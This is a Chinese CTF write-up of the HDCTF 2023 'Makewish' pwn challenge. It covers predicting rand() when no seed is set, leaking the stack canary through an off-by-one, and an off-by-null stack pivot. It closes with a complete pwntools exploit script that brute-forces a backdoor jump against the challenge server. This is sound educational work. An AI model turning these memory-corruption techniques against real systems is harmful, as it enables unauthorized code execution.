【PWN · 栈迁移|off-by-one|伪随机|爆破】[HDCTF 2023]Makewish

一道精巧、包含很多要点的题目

一、题目

二、思路浅析

通过ctypes酷通过伪随机数检测,没用srand指定随机种子时,默认srand(1)。

通过puts_name的off-by-one来泄露canary

进入vuln时,发现只能刚好填充到rbp前面,但是会将最后一个字符的下一个字节置为0

——可以通过off-by-null来覆写main_rbp的低字节为0,而vuln函数后面程序退出,两次leave;ret,构成栈迁移,且往低地址迁移,一定概率落在覆写的“wish”字符串中。通过爆破多试几次即可。

三、exp

from pwn import *
from ctypes import *
context(arch='amd64',log_level='debug')

libc=cdll.LoadLibrary('/root/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so')

# gdb.attach(io)
# raw_input()
while(1):
    io=remote('node4.anna.nssctf.cn',28895)
    io.recvuntil(b'name\n\n')
    io.sendline(b'a'*39+b'b')
    io.recvuntil(b'aaab')
    canary=u64(io.recv(8))-0x0a
    success(hex(canary))

    libc.srand(1)
    num=libc.rand()%1000+324
    io.send(p32(num))

    io.recvuntil(b'can make a wish to me\n')
    raw_input()
    backdoor=0x4007C7
    payload=p64(backdoor)*11+p64(canary)
    io.send(payload)
    raw_input()

    io.interactive()

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值